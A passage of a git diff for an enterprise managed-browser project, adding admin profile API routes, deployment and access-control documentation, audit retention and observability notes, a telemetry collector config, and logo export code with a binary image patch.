p.blockedCategoryIds)if(!c.categories.some(x=>x.id===id))fail('Unknown domain category');for(const id of p.deviceIds)if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(id))fail('Unknown active profile device');} + for(const subject of new Set(c.profiles.flatMap(p=>p.subjects)))PolicySchema.parse(applyUserProfiles(policy,c,{id:'future-enrollment',verified_subject:subject})); + for(const d of store.db.prepare('SELECT * FROM devices WHERE revoked=0').all())PolicySchema.parse(applyPolicyGroups(applyUserProfiles(policy,c,d),groups,d.id)); + return c; +} +export function installUserProfiles(app,store,publisher){ + app.get('/api/admin/user-profiles',(_req,res)=>{const c=profilesForOperation(store),p=store.get('policy');res.json({version:p.version,...c,delegation:{devTools:p.userAccess.delegatableFeatures.devTools},devices:store.db.prepare('SELECT id,name,user,verified_subject,revoked FROM devices').all().map(d=>({id:d.id,name:d.name,revoked:!!d.revoked,subject:d.verified_subject||null,verifiedSubject:!!d.verified_subject,profiles:c.profiles.filter(p=>profileApplies(p,d)).map(p=>p.id)}))});}); + app.post('/api/admin/user-profiles/preview',(req,res)=>{const b=z.object({deviceId:z.string().min(1).max(80),profile:UserProfileSchema.optional()}).strict().parse(req.body),d=store.db.prepare('SELECT * FROM devices WHERE id=? AND revoked=0').get(b.deviceId);if(!d)return res.status(404).json({error:'Active device not found'});const p=store.get('policy'),c=profilesForOperation(store,b.profile?{type:'profile-upsert',profile:b.profile}:{}),policy=PolicySchema.parse(applyPolicyGroups(applyUserProfiles(p,c,d),store.getRaw('policyGroups')||[],d.id));res.json({policy,profiles:policy.assignment.profiles||[],diff:policyDiff(p,policy)});}); + app.put('/api/admin/user-profile-configuration',(req,res)=>{const b=z.object({expectedVersion:z.number().int().positive(),categories:z.array(DomainCategorySchema).max(100),delegation:z.object({devTools:z.boolean()}).strict()}).strict().parse(req.body),p=store.get('policy');if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'});p.version++;p.userAccess.delegatableFeatures.devTools=b.delegation.devTools;publisher.submit(req,res,p,'policy.profile-configuration',{type:'profile-configuration',categories:b.categories});}); + app.put('/api/admin/user-profiles/:id',(req,res)=>{const b=z.object({expectedVersion:z.number().int().positive(),profile:UserProfileSchema}).strict().parse(req.body),p=store.get('policy');if(b.profile.id!==req.params.id)return res.status(400).json({error:'Profile ID mismatch'});if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'});p.version++;publisher.submit(req,res,p,'policy.profile-published',{type:'profile-upsert',profile:b.profile});}); + app.delete('/api/admin/user-profiles/:id',(req,res)=>{const b=z.object({expectedVersion:z.number().int().positive()}).strict().parse(req.body),p=store.get('policy');if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'});p.version++;publisher.submit(req,res,p,'policy.profile-deleted',{type:'profile-delete',profileId:req.params.id});}); +} diff --git a/deploy/ADMIN-MANAGEMENT.md b/deploy/ADMIN-MANAGEMENT.md new file mode 100644 index 0000000..af41a7f --- /dev/null +++ b/deploy/ADMIN-MANAGEMENT.md @@ -0,0 +1,106 @@ +# Central management deployment and operating model + +The administrator interface is a separate web application served by the management +service. The managed browser is a device client, not an administrative trust +boundary. Opening the console in an enterprise browser does not grant permissions: +the backend authenticates the administrator and authorizes every API operation. + +## Deployment topology + +Run the Node management service under a dedicated service identity with access only +to its protected data directory. Bind `HOST=127.0.0.1` and publish it through the +organization's HTTPS reverse proxy on an administrative hostname. Set `PUBLIC_URL` +to that exact HTTPS origin, including the port if applicable. Keep port 4310 off +public interfaces and make administrative access subject to corporate network and +identity controls. The service does not terminate TLS itself. + +Do not add permissive CORS or weaken the existing CSP. Forward the original Origin +header unchanged; origin validation must compare it to `PUBLIC_URL`. The service +uses secure, HTTP-only, SameSite session cookies on HTTPS and does not trust proxy +headers for user identity. Configure the TLS proxy to issue HSTS after the HTTPS +deployment has been validated. Do not use the loopback HTTP development URL for a +remote deployment. + +Register the exact `${PUBLIC_URL}/auth/callback` redirect with the corporate OIDC +provider. Require MFA or phishing-resistant authentication at the identity provider. +Use distinct administrator, operator and auditor groups. An employee's browser +enrollment permission must not grant an administrative role. + +## Deployment credentials and keys + +Supply secrets through protected service configuration rather than frontend files, +URLs or policy documents. Protect the SQLite database, signing keys, backups, ICAPS +client keys and SIEM credentials with service-account ACLs and encrypted storage. +The development `.env` file is not a production secret distribution mechanism. + +Require the protected management channel, and deploy its pinned ML-DSA public key +to browser installations through a trusted endpoint-management channel: + +```text +REQUIRE_PQ_MANAGEMENT_CHANNEL=true +SAFETYNET_REQUIRE_CHANNEL_PIN=true +SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE=C:/ProgramData/SafetyNet/management-public.pem +``` + +This public key is not a secret. Confirm its fingerprint independently of the +browser enrollment response. The custom policy envelope adds application-level +protection over HTTPS; it does not replace TLS, identity verification or independent +cryptographic review. Enrollment, audit and AI endpoints still rely on HTTPS. + +## Operator workflow + +1. Verify fleet last-seen times, policy version distribution, inspector configuration + and SIEM delivery state in the overview. A configured feature is not evidence that + every deployed device has exercised it successfully. +2. Start from a policy template and review its proposed additions. Preserve the + customer's existing proxy, VPN, DNS and ICAPS trust configuration. +3. Edit a draft, review changed policy paths, and publish with the displayed version. + A version conflict requires reloading and reviewing the current policy. +4. Teach document references using authorized source documents. Persisted teaching + features are hashes and, when configured, local vectors; the source document is + not retained. Inspect completeness before approving partial coverage. +5. Validate allowed and blocked transfers with a controlled receiver before enabling + a new detection threshold across a company. A block test alone does not establish + an acceptable false-positive rate. +6. Use managed bookmarks for intranet destinations. User bookmark read/edit access + and user editing permissions are centrally governed and enforced by the backend. +7. Export audit events to the existing SIEM using its supported authenticated + ingestion format. Exercise receiver failure and cursor resumption. + +The present rollout publishes one organization-wide policy. Group assignments, +canary deployment rings, independent approval, SCIM, key rotation and retention +automation remain tracked implementation work; the console must not imply they are +already available. + +## Local inspector containment + +On Windows the inspector applies an unnamed, non-inheritable Job Object before +importing parsers or model code. It limits the complete process tree to four +processes and 4 GiB committed memory, denies breakaway, and terminates descendant +model workers when the inspector exits or is killed. Failure to attach the boundary +fails inspector startup. The browser checks the startup capability declaration. + +The HTTP broker now keeps parsers outside its own process. Each document request +launches a separate AppContainer worker, attests its actual token and zero +capabilities, and exchanges bytes over bounded anonymous pipes. Only its approved +source, Python and local model trees receive read/execute grants for the specific +package SID. Nested jobs terminate leftover model workers. Native probes establish +private-file read denial, runtime write denial, TCP/UDP transmission denial and +child-token inheritance for the tested installation. + +Windows still provides package-private storage and some system resources. Do not +claim that all possible writes or exploit classes are excluded. Protected Program +Files deployments need installer/service-provisioned package-SID ACLs; ordinary +users cannot be expected to change installation DACLs. Runtime preparation and +packaging explicitly provision these ACLs; normal startup only verifies access +and fails closed when permissions are missing. External +or linked runtime/model trees are rejected. Production installer preparation and +independent sandbox bypass testing remain release gates. + +## Release gates + +Track the exhaustive requirement matrix in `docs/requirements-audit.md`. Complete +native transfer coverage and parser isolation, customer integration testing, signed +installers and updates, and an independent security assessment before production +deployment. The unpacked Windows executable is a developer build with required +side resources, not a production installer. diff --git a/deploy/otel-collector.yaml b/deploy/otel-collector.yaml new file mode 100644 index 0000000..fc7ef4d --- /dev/null +++ b/deploy/otel-collector.yaml @@ -0,0 +1,28 @@ +# Local development receiver. For remote deployment, require TLS/mTLS and authentication. +receivers: + otlp: + protocols: + http: + endpoint: 127.0.0.1:4318 +processors: + memory_limiter: + check_interval: 1s + limit_mib: 256 + batch: {} +exporters: + debug: + verbosity: basic +service: + pipelines: + traces: + receivers: [otlp] + processors: [memory_limiter, batch] + exporters: [debug] + metrics: + receivers: [otlp] + processors: [memory_limiter, batch] + exporters: [debug] + logs: + receivers: [otlp] + processors: [memory_limiter, batch] + exporters: [debug] diff --git a/docs/admin-security.md b/docs/admin-security.md new file mode 100644 index 0000000..f8e58c8 --- /dev/null +++ b/docs/admin-security.md @@ -0,0 +1,31 @@ +# Management access and deployment + +Management is a separate web application. Browser enrollment never grants management authority. The server authenticates and authorizes each management endpoint, including personal bookmark routes registered before the general management router. + +## Roles + +Configure exact group names from the verified OIDC groups claim: + +| Environment variable | Role | Authority | +| --- | --- | --- | +| `OIDC_ADMIN_GROUP` | Administrator | Publish policy and teaching references; all management operations | +| `OIDC_OPERATOR_GROUP` | Operator | Read policy/audit, enroll/revoke devices, review/edit personal bookmarks if policy permits, prepare teaching drafts and test integrations; cannot publish policy or change document inspection policy | +| `OIDC_AUDITOR_GROUP` | Auditor | Read overview, policy, security audit and teaching drafts; cannot mutate management state or inspect personal bookmarks | + +Operator and auditor group mappings are disabled until configured. Multiple matching groups use the highest role: administrator, then operator, then auditor. Membership is validated during signed OIDC login. Sessions expire after eight hours; group removal at the identity provider does not yet immediately invalidate an existing session. Administrators can inventory active sessions and immediately revoke existing cookies through the Access & sessions panel. Continuous group synchronization remains production work. Revoking an existing session does not prevent a new login while the identity provider still grants the management group. + +`GET /api/admin/session` and the overview return the normalized role and permission list. The frontend uses these to explain unavailable operations. Backend permission checks remain authoritative: session-supplied permission arrays are ignored, unknown roles are rejected and new endpoints have no access until assigned an explicit permission. + +`GET /api/admin/sessions` returns at most 500 active sessions with opaque random revocation IDs, subject, display name, role and expiry. It never returns credentials or database session hashes. `POST /api/admin/sessions/:id/revoke` accepts an empty object and atomically deletes the session and its handle. Only the administrator's `sessions.manage` permission allows either route. Session review and revocation audit records contain the acting administrator and counts, without target credentials or target identities. + +## Bootstrap and transport + +`ADMIN_TOKEN` is a development credential accepted only with an HTTP loopback `PUBLIC_URL`. Development HTTP startup also rejects a non-loopback bind address. HTTPS management never accepts this shared token. HTTPS server startup requires `OIDC_ISSUER` and `OIDC_CLIENT_ID`, and the protected policy management channel. Configure the reverse proxy to terminate HTTPS and keep the management service bound privately; do not publish the development HTTP listener. + +Cookie sessions use HttpOnly, SameSite=Lax and Secure for HTTPS. Cookie-authenticated mutations and logout require an exact `Origin` match with `PUBLIC_URL`; configure the externally visible canonical origin correctly. Cross-site writes are rejected. Responses have a restrictive same-origin CSP, forbid framing and disable caching. Bearer development fixtures do not need a browser Origin header. + +This implements three application roles and optional mandatory independent policy approval through `REQUIRE_INDEPENDENT_POLICY_APPROVAL`. The author cannot approve its own immutable proposal; all policy publication paths use one publisher. See `policy-review.md`. Restrictive device groups and explicit pilot rollout are implemented in `group-policy-rollout.md`. Dynamic IdP membership, phishing-resistant MFA enforcement, IdP logout/back-channel revocation, HSM custody and independently assessed production deployment remain open. + +## Verification + +The server tests exercise real signed OIDC operator/auditor sessions, direct unauthorized management requests, personal bookmark read denial, policy publication denial, unknown-role rejection, forged session permission rejection, exact-origin cookie writes, remote bootstrap-token rejection, opaque session inventory and immediate session revocation. diff --git a/docs/agent-observability-requirements.md b/docs/agent-observability-requirements.md new file mode 100644 index 0000000..6ecbeed --- /dev/null +++ b/docs/agent-observability-requirements.md @@ -0,0 +1,36 @@ +# First-class agents and forensic observability + +User clarification, 2026-10-13: agents must operate the application as first-class +clients, including tabs, permitted settings and bookmarks. Central administrators +can disable access and limit individual capabilities. Mandatory corporate policy +applies equally to a human and an agent. Generic JavaScript/CDP, cookie extraction +and overriding a centrally locked setting are not alternate control paths. + +Agent authentication must support cryptographic client identity, narrowly scoped +revocable credentials, bounded requests, replay protection and attributable audit. +Current loopback capability tokens and Windows DPAPI are a foundation; delegated +per-agent identities, request proof of possession and individual revocation remain +required work. Full UI automation, history/library, safe screenshots and broader +application capabilities remain separately tracked from the implemented controls. + +Security analysts need enough detail to reconstruct what happened: navigation, +download name/source/hash/scan outcome, click target, copy/cut/paste direction, +initiating tab/agent and the relevant rule and result. Confidentiality alone must +not suppress security-relevant evidence. Passwords and authentication tokens must +never enter logs. URLs, element labels and content may themselves contain secrets; +they need typed redaction and centrally governed evidence collection. + +The security audit and confidential evidence store are distinct from operational +OpenTelemetry. The evidence store must encrypt records, bind them to immutable +event identities, restrict analyst access, log every access, enforce retention and +support incident correlation and SIEM references. Selected relevant content may be +retained by policy; storing entire documents is not required. Existing metadata +events do not satisfy this full forensic requirement. Detailed download records, +human click tracking and controlled content evidence are still to implement. + +OpenTelemetry debug mode must expose correlated spans for IPC, agents, navigation, +network/DNS, document/OCR/YARA/semantic inspection, policy handling and management +requests, including durations and named code stages. Debug collection is centrally +managed, bounded and disableable. Operational spans do not silently become a raw +content or credential archive. Backend tracing and collector/SIEM permissions, +encryption and retention must complete the end-to-end pipeline. diff --git a/docs/audit-retention.md b/docs/audit-retention.md new file mode 100644 index 0000000..9d06527 --- /dev/null +++ b/docs/audit-retention.md @@ -0,0 +1,28 @@ +# Security event retention + +`AUDIT_RETENTION_DAYS=0` disables deletion by default. A deployment administrator +may opt in with 1..3650 days. The server checks hourly and removes at most 500 +eligible database events per pass. It uses the current SIEM exporter's durable +cursor, never a historical destination's cursor. A successful HTTP response means +the receiving SIEM accepted a batch; it is not a guarantee of its archival policy. + +Only expired events already delivered through that cursor are eligible. All +incident source events remain protected, including resolved cases. Sigma +correlations cannot be left pointing at removed source events across a batch +boundary. Related alert rows are removed in the same transaction. The device-event +UUID ledger remains intact, so retransmission cannot recreate expired events. +Policy history, signatures, users and device credentials are outside this job. + +Deletion and its metadata-only audit event commit atomically. A failure rolls +everything back and appears in the administration status. The service account +must protect the SQLite database and backups. Logical deletion does not promise +secure erasure from SQLite pages, WAL files, disks or backups. + +The module exports `pruneAuditEvents(..., {dryRun:true})` for deployment validation. +There is no browser-policy switch or unauthenticated cleanup endpoint. Status in +the admin console is read-only. Retention of incident notes/history, the durable +dedup ledger, local `security.ndjson`/CEF files, external SIEM records and backups +requires a separate lifecycle; this database job does not govern those stores. + +`tests/audit-retention.test.mjs` verifies export and batch boundaries, incident +preservation, replay-ledger preservation, explicit opt-in and transactional failure. diff --git a/docs/brand/README.md b/docs/brand/README.md new file mode 100644 index 0000000..a56d1e4 --- /dev/null +++ b/docs/brand/README.md @@ -0,0 +1,37 @@ +# SafetyNet identity + +SafetyNet is the project and management-platform name. **S Browser** names its managed browser. The visual identity gives a restrained enterprise product a recognizable, approachable symbol: two woven ribbons form an S and an open protective loop. It expresses governed access without implying that security is absolute. + +## Assets + +- `safetynet-lockup.png` — original transparent, AI-generated horizontal lockup, 2068 × 760. Use on white or a very pale neutral surface; the navy wordmark needs contrast. +- `safetynet-readme.png` — same artwork composited on a pale neutral surface for legibility in both light and dark repository viewers. +- `safetynet-icon.png` — 640 × 640 transparent crop of the same original symbol. Suitable for light and dark surfaces. +- `safetynet.ico` — PNG-compressed 256 px Windows icon, exported from the original symbol. +- `export-assets.cjs` — reproducible symbol and ICO export; run `node docs/brand/export-assets.cjs` from the repository root. + +These are raster assets, not a vector master. Do not describe them as SVG or fabricate a redraw. A future vector production pass should preserve the approved mark and inspect small-size legibility. + +## Palette and typography + +| Role | Color | +| --- | --- | +| Ink | `#102449` | +| Action blue | `#1764F5` | +| Teal accent | `#13C8C8` | +| Light canvas | `#F4F7FB` | +| Dark canvas | `#101820` | + +Use system-ui / Segoe UI for interface text. Keep headings concise, with generous spacing and readable contrast. Blue identifies primary actions; teal adds emphasis without becoming a security verdict. Reserve explicit success, warning, and danger colors for actual state. + +## Usage + +Leave clear space of at least one quarter of the symbol width. Preserve the artwork's proportions, transparency, and colors. Use the symbol alone when the wordmark is too small or lacks contrast. White-label deployments can replace identity through their managed branding configuration; this asset does not change policy or security behavior. + +Product screenshots should show the real application. Describe the project as **under heavy development**. Avoid certification seals, promises of total protection, and unverified claims about compliance or production readiness. The mark is original artwork and does not reproduce Apple's logo or Safari compass; no trademark clearance is claimed. + +## Generation provenance + +Created with the built-in Codex ImageGen tool on 2026-10-13 using the Creative Production `produce` logo workflow. A direct Creative Production board capability was not exposed to this worker, so the asset was generated directly and saved into the repository. No external image API key or CLI fallback was used. + +Prompt: “Create one polished original horizontal logo lockup for SafetyNet, an enterprise managed AI browser. Transparent background, clean vector-like graphic suitable for repository README, restrained premium software identity. On left a distinctive standalone geometric S mark made from two interlocking curved ribbons forming a protective open loop / woven safety net, no literal padlock or shield, vivid cobalt blue and cool turquoise, clear strong silhouette readable at small sizes. To right exact wordmark SafetyNet (capital S and N, no space), elegant contemporary dark navy sans-serif medium weight, excellent kerning. Logo centered with generous clear space, wide landscape composition, symbol and wordmark optically aligned. Flat refined geometry, subtle color gradient in symbol only; no glass reflection, no mockup, no badges, no certifications, no extra tagline, no watermark, no Apple logo, no Safari compass. Output an actual transparent PNG logo asset.” diff --git a/docs/brand/export-assets.cjs b/docs/brand/export-assets.cjs new file mode 100644 index 0000000..c56a428 --- /dev/null +++ b/docs/brand/export-assets.cjs @@ -0,0 +1,43 @@ +// Deterministic export of the generated master artwork. No redraw or substitute mark. +const fs = require('node:fs'); +const path = require('node:path'); +const { PNG } = require('pngjs'); +const root = __dirname; +const source = PNG.sync.read(fs.readFileSync(path.join(root, 'safetynet-lockup.png'))); +// A neutral opaque presentation keeps the navy wordmark legible in dark README viewers. +const readme = new PNG({ width: source.width, height: source.height }); +for (let i = 0; i < source.data.length; i += 4) { + const alpha = source.data[i + 3] / 255; + for (let c = 0; c < 3; c++) readme.data[i + c] = Math.round(source.data[i + c] * alpha + 250 * (1 - alpha)); + readme.data[i + 3] = 255; +} +fs.writeFileSync(path.join(root, 'safetynet-readme.png'), PNG.sync.write(readme)); +// The original symbol occupies the first 560 px. Keep its actual transparent edges. +const symbol = new PNG({ width: 640, height: 640 }); +symbol.data.fill(0); +for (let y = 0; y < 640; y++) for (let x = 0; x < 560; x++) { + const from = ((y + 60) * source.width + x) * 4; + source.data.copy(symbol.data, (y * 640 + x + 40) * 4, from, from + 4); +} +fs.writeFileSync(path.join(root, 'safetynet-icon.png'), PNG.sync.write(symbol)); +// PNG-compressed 256px Windows icon with box-filter downsampling. +const icon = new PNG({ width: 256, height: 256 }); +for (let y = 0; y < 256; y++) for (let x = 0; x < 256; x++) { + let a = 0; const rgb = [0, 0, 0]; let n = 0; + for (let sy = Math.floor(y * 2.5); sy < Math.ceil((y + 1) * 2.5); sy++) + for (let sx = Math.floor(x * 2.5); sx < Math.ceil((x + 1) * 2.5); sx++) { + const offset = (sy * 640 + sx) * 4; const alpha = symbol.data[offset + 3]; + a += alpha; n++; + for (let c = 0; c < 3; c++) rgb[c] += symbol.data[offset + c] * alpha; + } + const offset = (y * 256 + x) * 4; + for (let c = 0; c < 3; c++) icon.data[offset + c] = a ? Math.round(rgb[c] / a) : 0; + icon.data[offset + 3] = Math.round(a / n); +} +const encoded = PNG.sync.write(icon); +const header = Buffer.alloc(22); +header.writeUInt16LE(1, 2); header.writeUInt16LE(1, 4); +header.writeUInt16LE(1, 10); header.writeUInt16LE(32, 12); +header.writeUInt32LE(encoded.length, 14); header.writeUInt32LE(22, 18); +fs.writeFileSync(path.join(root, 'safetynet.ico'), Buffer.concat([header, encoded])); +console.log('Exported README presentation, original symbol PNG and 256px Windows ICO.'); diff --git a/docs/brand/safetynet-icon.png b/docs/brand/safetynet-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..50819f051fe5985f51fc0cfa8db42cf138303341 GIT binary patch literal 142360 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 